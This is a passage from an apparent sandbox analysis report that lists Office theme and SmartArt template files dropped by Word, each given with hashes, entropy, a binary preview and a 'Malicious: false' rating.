...>..>..>..>..>..>..>.........2V}......Q}#.&T...rU....\..\..\..\..\..\..\..\.W..W.^Z....Q}c;.o...>.Z..\.v...............................*Z....K.X.5X8.obG.MP.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.M.).....j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oZ/-c..`....7CaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,...\|...].k.........PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457515[[fn=View]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	486596
Entropy (8bit):	7.668294441507828
Encrypted:	false
SSDEEP:	6144:A+JBmUx0Zo24n8z/2NSYFl2qGBuv8p6+LwwYmN59wBttsdJrmXMlP1NwQoGgeL:fNgxz/g5z2BT6+Eu0ntMcczNQG5L
MD5:	0E37AECABDB3FDF8AAFEDB9C6D693D2F
SHA1:	F29254D2476DF70979F723DE38A4BF41C341AC78
SHA-256:	7AC7629142C2508B070F09788217114A70DE14ACDB9EA30CBAB0246F45082349
SHA-512:	DE6AFE015C1D41737D50ADD857300996F6E929FED49CB71BC59BB091F9DAB76574C56DEA0488B0869FE61E563B07EBB7330C8745BC1DF6305594AC9BDEA4A6BF
Malicious:	false
Preview:	PK.........V'BE,.{....#P......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033917[[fn=Berlin]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	976001
Entropy (8bit):	7.791956689344336
Encrypted:	false
SSDEEP:	24576:zHM7eZGgFiHMRej4N9tpytNZ+tIw5ErZBImlX0m:zHM7eZGgFiHMRej++NZ+F5WvllZ
MD5:	9E563D44C28B9632A7CF4BD046161994
SHA1:	D3DB4E5F5B1CC6DD08BB3EBF488FF05411348A11
SHA-256:	86A70CDBE4377C32729FD6C5A0B5332B7925A91C492292B7F9C636321E6FAD86
SHA-512:	8EB14A1B10CB5C7607D3E07E63F668CFC5FC345B438D39138D62CADF335244952FBC016A311D5CB8A71D50660C49087B909528FC06C1D10AF313F904C06CBD5C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033919[[fn=Circuit]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1463634
Entropy (8bit):	7.898382456989258
Encrypted:	false
SSDEEP:	24576:75MGNW/UpLkupMAqDJhNHK4/TuiKbdhbZM+byLH/:7ZwUpLkulkHK46iiDZHeLH/
MD5:	ACBA78931B156E4AF5C4EF9E4AB3003B
SHA1:	2A1F506749A046ECFB049F23EC43B429530EC489
SHA-256:	943E4044C40ABA93BD7EA31E8B5EBEBD7976085E8B1A89E905952FA8DAC7B878
SHA-512:	2815D912088BA049F468CA9D65B92F8951A9BE82AB194DBFACCF0E91F0202820F5BC9535966654D28F69A8B92D048808E95FEA93042D8C5DEA1DCB0D58BE5175
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033921[[fn=Damask]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2218943
Entropy (8bit):	7.942378408801199
Encrypted:	false
SSDEEP:	49152:8mwK3gH/l4hM06Wqnnl1IdO9wASFntrPEWNe7:863gHt4hM9WWnMdO9w35PEWK
MD5:	EE33FDA08FBF10EF6450B875717F8887
SHA1:	7DFA77B8F4559115A6BF186EDE51727731D7107D
SHA-256:	5CF611069F281584DE3E63DE8B99253AA665867299DC0192E8274A32A82CAA20
SHA-512:	AED6E11003AAAACC3FB28AE838EDA521CB5411155063DFC391ACE2B9CBDFBD5476FAB2B5CC528485943EBBF537B95F026B7B5AB619893716F0A91AEFF076D885
Malicious:	false
Preview:	PK.........{MBS'..t...ip......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.._..w._..w._..w._..w._..w._..w.n..Ofu.-..K.e........T..q.F...R[...~.u.....Z..F....7.?.v....5O....zot..i.....b...^...Z...V...R...N...r./.?........=....#.`..\~n.n...)J./.......7........+......Q..]n............w......Ft........\|......b...^...Z...V...R...N..W<x......l._...l..?.A......x....x.9.\|.8..............u................w#.....nD..]...........R.......R.......R........o...].`.....A....#.`..\.....+J./.......7........+......Q..]n.........w9~7......Ft........\|......b...^.c..-...-...-

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033925[[fn=Droplet]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1750795
Entropy (8bit):	7.892395931401988
Encrypted:	false
SSDEEP:	24576:DyeAqDJpUDH3xk8ZKIBuX3TPtd36v4o5d4PISMETGBP6eUP+xSeW3v0HKPsc:uRqUjSTPtd36AFDM/BP6eUeW3v0Fc
MD5:	529795E0B55926752462CBF32C14E738
SHA1:	E72DFF8354DF2CB6A5698F14BBD1805D72FEEAFF
SHA-256:	8D341D1C24176DC6B67104C2AF90FABD3BFF666CCC0E269381703D7659A6FA05
SHA-512:	A51F440F1E19C084D905B721D0257F7EEE082B6377465CB94E677C29D4E844FD8021D0B6BA26C0907B72B84157C60A3EFEDFD96C16726F6ABEA8D896D78B08CE
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033927[[fn=Main Event]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2924237
Entropy (8bit):	7.970803022812704
Encrypted:	false
SSDEEP:	49152:mc4NEo4XNd5wU5qTkdC4+K9u5b/i40RKRAO/cLf68wy9yxKrOUURBgmai2prH:mJef5yTSoKMF//DRGJwLx9DBaH
MD5:	5AF1581E9E055B6E323129E4B07B1A45
SHA1:	B849F85BCAF0E1C58FA841FFAE3476D20D33F2DD
SHA-256:	BDC9FBF81FBE91F5BF286B2CEA00EE76E70752F7E51FE801146B79F9ADCB8E98
SHA-512:	11BFEF500DAEC099503E8CDB3B4DE4EDE205201C0985DB4CA5EBBA03471502D79D6616D9E8F471809F6F388D7CBB8B0D0799262CBE89FEB13998033E601CEE09
Malicious:	false
Preview:	PK.........{MB.$<.~....p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.......H^..<}...lA-.D.....lI/...hD.Z....\|VM..ze........L..tU...g....lQ....Y...>MI...5-....S......h=..u.h..?;h...@k...h...'Z...D...;.....h=..'Z...D...;.....)^./.../U.../..../U.../..../U..?...'.........Ngz..A.~.8.#D....xot.u.?...eyot.n..{..sk....[......Z..F....l...o)..o..o...oi..o)..o..,..b.s......2.C.z.~8.......f......x.9.\|.8..............u................r.nD..]...........w.~7...-...-...-...-...-...-....x.&l........>.4.z.~8..........=E....As.1..q. 9....w.7...1........w.}7......Ft...................o)..o..o...oi..o)..o..w.7a...x0...........d0..............A.......Fl.............Ft................w#...r.nD..]..M...K1.0..7....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033929[[fn=Slate]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2357051
Entropy (8bit):	7.929430745829162
Encrypted:	false
SSDEEP:	49152:tfVcGO3JiR6SgT7/bOCrKCsaFCX3CzwovQTSwW8nX:pVcG2iRedsaoXSzeOwWEX
MD5:	5BDE450A4BD9EFC71C370C731E6CDF43
SHA1:	5B223FB902D06F9FCC70C37217277D1E95C8F39D
SHA-256:	93BFC6AC1DC1CFF497DF92B30B42056C9D422B2321C21D65728B98E420D4ED50
SHA-512:	2365A9F76DA07D705A6053645FD2334D707967878F930061D451E571D9228C74A8016367525C37D09CB2AD82261B4B9E7CAEFBA0B96CE2374AC1FAC6B7AB5123
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033937[[fn=Vapor Trail]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3611324
Entropy (8bit):	7.965784120725206
Encrypted:	false
SSDEEP:	49152:ixc1kZBIabo4dTJyr3hJ50gd9OaFxTy+1Nn/M/noivF0po3M0h0Vsm:ixcaAabT83hJLdoaFxTygxcoiX3M0iCm
MD5:	FB88BFB743EEA98506536FC44B053BD0
SHA1:	B27A67A5EEC1B5F9E7A9C3B76223EDE4FCAF5537
SHA-256:	05057213BA7E5437AC3B8E9071A5577A8F04B1A67EFE25A08D3884249A22FBBF
SHA-512:	4270A19F4D73297EEC910B81FF17441F3FC7A6A2A84EBA2EA3F7388DD3AA0BA31E9E455CFF93D0A34F4EC7CA74672D407A1C4DC838A130E678CA92A2E085851C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001114[[fn=Gallery]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1091485
Entropy (8bit):	7.906659368807194
Encrypted:	false
SSDEEP:	24576:oBpmCkw3Tg/euEB+UdoC4k7ytHkHA6B/puqW2MIkTeSBmKrZHQ:MR3c/AseydwppC7veSBmWHQ
MD5:	2192871A20313BEC581B277E405C6322
SHA1:	1F9A6A5E10E1C3FFEB6B6725C5D2FA9ECDF51085
SHA-256:	A06B302954A4C9A6A104A8691864A9577B0BFEA240B0915D9BEA006E98CDFFEC
SHA-512:	6D8844D2807BB90AEA6FE0DDDB9C67542F587EC9B7FC762746164B2D4A1A99EF8368A70C97BAD7A986AAA80847F64408F50F4707BB039FCCC509133C231D53B9
Malicious:	false
Preview:	PK...........G`.jaV....P......[Content_Types].xml...n.@...W......T@.mwM.E....)....y...H}.N..ll8.h5g6Q.=3_......?...x..e^Di.p.^.ud...(Y/..{w..r..9.../M...Q*{..E...(.4..>..y,.>..~&..b-.a.?..4Q2Q=.2.......m....>-....;]......N'..A...g.D.m.@(}..'.3Z....#....(+....-q<uq.+....?....1.....Y?Oy......O"..J?....Q$zT.].7.N..Q Wi.....<.........-..rY....hy.x[9.b.%-<.V?.(......;r.+...Q<.;U.....4...!'k...s.&..)'k...d.s..}R....o".D.I..7..7.KL.7..Z.....v..b.5.2].f....l.t....Z...Uk...j.&.U-....&>.ia1..9lhG..Q.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.........j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oT/-c..`....7FaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,..7...&(L.....>.kw...i...i...i...i...i...i...i.......I...U_.....vT.....}..\...v..W.!-W.!-W.!-W.!-W.!-W.!-W.!-W.U...7.....k.pT...0..O.... ...>..>..>..>..>..>..>......f..2V}....W>jO....5..].?.o..oPK...........G.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001115[[fn=Parcel]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	608122
Entropy (8bit):	7.729143855239127
Encrypted:	false
SSDEEP:	6144:Ckl6KRKwg9jf2q/bN69OuGFlC/DUhq68xOcJzGYnTxlLqU8dmTW:8yKwgZ2qY9kA7Uhq68H3ybmq
MD5:	8BA551EEC497947FC39D1D48EC868B54
SHA1:	02FA15FDAF0D7E2F5D44CAE5FFAE49E8F91328DF
SHA-256:	DB2E99B969546E431548EBD58707FC001BBD1A4BDECAD387D194CC9C6D15AC89
SHA-512:	CC97F9B2C83FF7CAC32AB9A9D46E0ACDE13EECABECD653C88F74E4FC19806BB9498D2F49C4B5581E58E7B0CB95584787EA455E69D99899381B592BEA177D4D4B
Malicious:	false
Preview:	PK.........LGE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK.........LG.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328884[[fn=architecture]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5783
Entropy (8bit):	7.88616857639663
Encrypted:	false
SSDEEP:	96:CDG4D+8VsXzXc2zLXTJ2XFY47pk2G7HVlwFzTXNbMfmn2ivLZcreFWw5fc9ADdZm:CDG4DRGY23l2Xu47GL7YtT9V29yWvWdk
MD5:	8109B3C170E6C2C114164B8947F88AA1
SHA1:	FC63956575842219443F4B4C07A8127FBD804C84
SHA-256:	F320B4BB4E57825AA4A40E5A61C1C0189D808B3EACE072B35C77F38745A4C416
SHA-512:	F8A8D7A6469CD3E7C31F3335DDCC349AD7A686730E1866F130EE36AA9994C52A01545CE73D60B642FFE0EE49972435D183D8CD041F2BB006A6CAF31BAF4924AC
Malicious:	false
Preview:	PK.........A;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........pnB;.M.:....g......._rels/.rels...J.0.._%.n....xp..,{.i2M.........G..........7...3o/.......d.kyU....^..[>Q....j.#P.H......Z>..+!...B*\|@...G...E....E]..".3.......!..7....,:..,.......Ot..0r....Z..&1..U..p.U-.[Uq&.......................Gyy.}n.(.C(i.x........?.vM..}..%.7.b.>L..]..PK........EV:5K..4....H......diagrams/layout1.xml.Yo.6........S.`......$M...Q8A...R..T.k...K.4CQG..}.A..9.?R....!&...Q..ZW.......Q....<8..z..g....4{d.>..;.{.>.X.....Y.2.......cR....9e.. ...}L.....yv&.&...r..h...._..M. e...[..}.>.k..........3.`.ygN...7.w..3..W.S.....w9....r(....Zb..1....z...&WM.D<......D9...ge......6+.Y....$f......wJ$O..N..FC..Er........?..is...-Z

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328893[[fn=BracketList]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4026
Entropy (8bit):	7.809492693601857
Encrypted:	false
SSDEEP:	96:VpDCBFLhxaUGm5EWA07yNdKH1FQpy8tnX8Iz3b7TrT502+fPD:VpDYFFRMNU+RtXzLf35t+3D
MD5:	5D9BAD7ADB88CEE98C5203883261ACA1
SHA1:	FBF1647FCF19BCEA6C3CF4365C797338CA282CD2
SHA-256:	8CE600404BB3DB92A51B471D4AB8B166B566C6977C9BB63370718736376E0E2F
SHA-512:	7132923869A3DA2F2A75393959382599D7C4C05CA86B4B27271AB9EA95C7F2E80A16B45057F4FB729C9593F506208DC70AF2A635B90E4D8854AC06C787F6513D
Malicious:	false
Preview:	PK........YnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........bnB;?.......f......._rels/.rels...J.1.._%..f....m/.,x...&.lt.dV.y.\|.."v....q..\|......r..F..)..;.T5g.eP..O..Z.^-.8...<.Y....Q.."....D.%.!9.R&#".'0(.u}).!..l....b..J..rr....P.L.w..0.-......A..w..x.7U...Fu<mT.....^s...F./ ..( .4L..`.....}...O..4.L...+H.z...m..j[].=........oY}.PK........J.L6...m....,.......diagrams/layout1.xml.X.n.8.}N.....PG.............wZ.,.R.%.K...J.H]....y.3..9...O..5."J.1.\.1....Q....z......e.5].)...$b.C)...Gx!...J3..N..H...s....9.~...#..$...W.8..I`\|..0xH}......L.\|..(V;..1...kF..O=...j...G.X.....T.,d>.w.Xs.......3L.r..er\o..D..^....O.F.{:.>.R'....Y-...B.P.;....X.'c...{x.M7..><l.1.w..{].46.>.z.E.J.......G......Hd..$..7....E.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328905[[fn=Chevron Accent]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4243
Entropy (8bit):	7.824383764848892
Encrypted:	false
SSDEEP:	96:22MQe4zHye8/djzF+JjvtmMkkBpF7e0LTkaf:22De4zHHCvF+nRBDXoaf
MD5:	7BC0A35807CD69C37A949BBD51880FF5
SHA1:	B5870846F44CAD890C6EFF2F272A037DA016F0D8
SHA-256:	BD3A013F50EBF162AAC4CED11928101554C511BD40C2488CF9F5842A375B50CA
SHA-512:	B5B785D693216E38B5AB3F401F414CADACCDCB0DCA4318D88FE1763CD3BAB8B7670F010765296613E8D3363E47092B89357B4F1E3242F156750BE86F5F7E9B8D
Malicious:	false
Preview:	PK........NnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........TnB;..d.....h......._rels/.rels...J.0.._%.n..)"....<.w.&.4..!...y.\|.........\|.&3.o.....S..K.T5g.U....g..n.f....T.hcf...D.V..Ft....d....c2".z.....N.s._2....7.0.V.]P.CO?...`...8....4&......_i..Y.T...Z...g....{-...]..pH..@.8....}tP.)..B>..A...S&......9..@...7........b_.PK........r};5.z..............diagrams/layout1.xml.X.n.8.}.........4.+.(...@......(..J..._.!)..b..v.}.H..zf8...dhM....E..I.H..V.Y.R..2zw5L~....^..]...J_..4.\.\......8..z..2T..".X.l.F#......5....,....c....r.kR.I.E..,.2...&%..''.qF.R.2.....T;F...W.. ...3...AR.OR.O..J}.w6..<...,.x..x....`g?.t.I.{.I...\|X..g.....<BR..^...Q.6..m.kp...ZuX.?.z.YO.g...$.......'.]..I.#...]$/~`${.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328908[[fn=Circle Process]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	16806
Entropy (8bit):	7.9519793977093505
Encrypted:	false
SSDEEP:	384:eSMjhqgJDGwOzHR3iCpK+QdLdfufFJ9aDn9LjDMVAwHknbz7OW:eSkhqglGwERSAHQdLhDn9AKokv7H
MD5:	950F3AB11CB67CC651082FEBE523AF63
SHA1:	418DE03AD2EF93D0BD29C3D7045E94D3771DACB4
SHA-256:	9C5E4D8966A0B30A22D92DB1DA2F0DBF06AC2EA75E7BB8501777095EA0196974
SHA-512:	D74BF52A58B0C0327DB9DDCAD739794020F00B3FA2DE2B44DAAEC9C1459ECAF3639A5D761BBBC6BDF735848C4FD7E124D13B23964B0055BB5AA4F6AFE76DFE00
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........Ul.<..<"I5...&......diagrams/layout1.xml.}.r.I..s........~Y.f.gzfv......E."w.K..J5m.e...4.0..Q... A.!...%...<...3.......O.......t~.u{...5.G......?,.........N......L......~.:....^,..r=./~7_..8............o.y......oo.3.f........f.......r.7../....qrr.v9.......,?..._O.....?9.O~]..zv.I'.W..........;..\..~....../........?~..n.....\}pt.........b,~...;>.=;>:..u.....?.......2]..]....i......9..<.p..4D..

